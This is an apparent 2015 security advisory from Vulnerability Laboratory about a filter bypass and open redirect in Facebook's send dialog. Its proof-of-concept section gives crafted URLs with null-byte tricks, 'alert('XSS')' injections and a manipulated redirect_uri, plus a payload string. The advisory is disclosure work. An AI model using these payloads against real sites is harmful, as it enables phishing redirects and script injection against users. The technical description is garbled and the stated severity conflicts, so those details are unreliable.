Document Title: =============== Facebook #26 - Filter Bypass & Exception Handling Redirect Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1483 http://www.vulnerability-lab.com/get_content.php?id=1484 Video View: https://www.youtube.com/watch?v=I65zFWF-pMg Release Date: ============= 2015-05-09 Vulnerability Laboratory ID (VL-ID): ==================================== 1483 Common Vulnerability Scoring System: ==================================== 5.1 Product & Service Introduction: =============================== Facebook is an online social networking service, whose name stems from the colloquial name for the book given to students at the start of the academic year by some university administrations in the United States to help students get to know each other. It was founded in February 2004 by Mark Zuckerberg with his college roommates and fellow Harvard University students Eduardo Saverin, Andrew McCollum, Dustin Moskovitz and Chris Hughes. The website`s membership was initially limited by the founders to Harvard students, but was expanded to other colleges in the Boston area, the Ivy League, and Stanford University. It gradually added support for students at various other universities before opening to high school students, and eventually to anyone aged 13 and over. Facebook now allows any users who declare themselves to be at least 13 years old to become registered users of the site. Users must register before using the site, after which they may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Additionally, users may join common-interest user groups, organized by workplace, school or college, or other characteristics, and categorize their friends into lists such as `People From Work` or `Close Friends`. As of September 2012, Facebook has over one billion active users, of which 8.7% are fake. According to a May 2011 Consumer Reports survey, there are 7.5 million children under 13 with accounts and 5 million under 10, violating the site`s terms of service. In May 2005, Accel partners invested $12.7 million in Facebook, and Jim Breyer added $1 million of his own money to the pot. A January 2009 Compete.com study ranked Facebook as the most used social networking service by worldwide monthly active users. Entertainment Weekly included the site on its end-of-the-decade `best-of` list, saying, `How on earth did we stalk our exes, remember our co-workers` birthdays, bug our friends, and play a rousing game of Scrabulous before Facebook?` Facebook eventually filed for an initial public offering on February 1, 2012, and was headquartered in Menlo Park, California. Facebook Inc. began selling stock to the public and trading on the NASDAQ on May 18, 2012. Based on its 2012 income of USD 5.1 Billion, Facebook joined the Fortune 500 list for the first time, being placed at position of 462 on the list published in 2013. (Copy of the Homepage: http://en.wikipedia.org/wiki/Facebook ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a filter bypass and open redirect web vulnerability in the official Facebook online-service framework. Vulnerability Disclosure Timeline: ================================== 2015-05-01: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2015-05-09: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Facebook Product: Framework - Content Management System 2015 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A filter validation issue is existant in the exception-handling that normally redirects to the original facebook source. Ever if an error comes up the website will show the context in the secure exception and redirects on okey click to the original valid source. In case of terminating the string (%00%00_%3F) with extended <_ it is possible to bypass the exception-handling filter exception to redirect invalid source to an external target. The video demonstrates how to bypass the filter validation by confusing the context copying with the non encoded url that invalid. By generating a payload that is ahead in the display value and atleast in the url ref the target exception redirect can be manipulated. Proof of Concept (PoC): ======================= https://www.facebook.com/dialog/send?app_id=102628213125203&display=F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_popup&link=http%3A%2F%2Fwww.ebay.com%2Fcln%2F%00%2F%00%00%3C_&{alert%28%27XSS%27%29}%3B%3E%3%00%3C_&{alert%28%27XSS%27%29}%3B%3E%3Froken%3DcUgayN&description=%00%40eBayF%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_&redirect_uri=http%3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_popup%2Fsoc%2Fshareclose&__mref=F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble https://www.facebook.com/dialog/send?app_id=102628213125203&display=F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_popup&link=http%3A%2F%2Fwww.ebay.com%2Fcln%2F%00%2F%00%00%3C_&{alert%28%27XSS%27%29}%3B%3E%3%00%3C_&{alert%28%27XSS%27%29}%3B%3E%3Froken%3DcUgayN&description=%00%40eBayF%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_&redirect_uri=http%3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_popup%2Fsoc%2Fshareclose&__mref=F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble Payload: 3A%2F%2F%EF%BF%BD/%EF%BF%BD%EF%BF%BD%3C%uFFFD/%uFFFD%uFFFD%3C_ F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble F%00%2F%00%00%3C%uFFFD/%uFFFD%uFFFD%3C_message_bubble<_ PoC Video(s): The video demonstrates how to evade the filter validation of the message context that is delivered by a url link. The researcher demonstrates how to bypass the basic encoding by preparing a valid exception with unauthorized redirect. Security Risk: ============== The security risk of the filter bypass and exception redirect web vulnerability is estimated as medium. (CVSS 5.1) The same payload to evade the filter validation can be used to other sections and exceptions that redirect the ref with the same conditions. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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